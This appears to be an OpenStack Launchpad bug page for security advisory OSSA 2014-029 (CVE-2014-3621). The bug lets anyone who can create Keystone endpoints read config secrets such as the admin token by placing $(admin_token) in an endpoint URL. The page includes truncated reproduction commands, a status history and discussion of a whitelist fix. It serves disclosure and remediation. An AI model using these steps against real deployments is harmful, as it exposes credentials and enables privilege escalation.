[OSSA 2014-029] Catalog replacement allows reading config (CVE-2014-3621)
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
OpenStack Identity (keystone) |
Fix Released
|
Medium
|
Tristan Cacqueray | ||
Havana |
Fix Released
|
Medium
|
Tristan Cacqueray | ||
Icehouse |
Fix Released
|
Medium
|
Tristan Cacqueray | ||
OpenStack Security Advisory |
Fix Released
|
Medium
|
Tristan Cacqueray |
Bug Description
Anyone that can create endpoints can read any value out of the config file. Some of the values in the config file are passwords and things that shouldn't be made available.
For example, I'm running and cloud and I allow someone to define their own endpoints for whatever reason... maybe they control their own subcloud. If the admin creates an endpoint with $(admin_token), then queries the catalog, they can read the admin token out of the config file.
I don't know what the fix is. Maybe a whitelist of config options? Maybe leaving "secret=True" config options out of the dict is good enough?
Here's steps to recreate:
$ openstack service create --type test test
+------
| Field | Value |
+------
| description | None |
| enabled | True |
| id | 9251fab0a273454
| name | test |
| type | test |
+------
# Define an endpoint with $(admin_token)s.
$ openstack endpoint create 9251fab0a273454
+------
| Field | Value |
+------
| id | 164abc0b305e4ad
| publicurl | http://
| region | None |
| service_id | 9251fab0a273454
| service_name | test |
| service_type | test |
+------
# Get a scoped token using curl.
$ curl -i -H "Content-Type: application/json" -d '
{ "auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"name": "admin",
"domain": { "id": "default" },
}
}
},
"scope": {
"project": {
"name": "demo",
"domain": { "id": "default" }
}
}
}
}' http://
... Look for the admin token in the catalog in the response:
{"endpoints": [{"url": "http://
...
CVE References
Changed in ossa: | |
importance: | Undecided → Medium |
status: | Incomplete → Confirmed |
Changed in keystone: | |
status: | Triaged → In Progress |
summary: |
- Catalog replacement allows reading config + Catalog replacement allows reading config (CVE-2014-3621) |
Changed in ossa: | |
status: | In Progress → Fix Committed |
assignee: | nobody → Tristan Cacqueray (tristan-cacqueray) |
summary: |
- Catalog replacement allows reading config (CVE-2014-3621) + [OSSA 2014-029] Catalog replacement allows reading config + (CVE-2014-3621) |
information type: | Private Security → Public Security |
Changed in keystone: | |
milestone: | none → juno-rc1 |
Changed in ossa: | |
status: | Fix Committed → Fix Released |
Changed in keystone: | |
status: | Fix Committed → Fix Released |
Changed in keystone: | |
milestone: | juno-rc1 → 2014.2 |
I like whitelists because we can carefully select what can be used and it's much harder to accidentally have bad things fall through. Also there are things like IPs, ports, usernames, etc. not marked as secret that can used used in part as a social engineering attack.
On the other hand this could be very tedious to manage, but I can't imagine there is more than a handful of things that could be used in endpoints.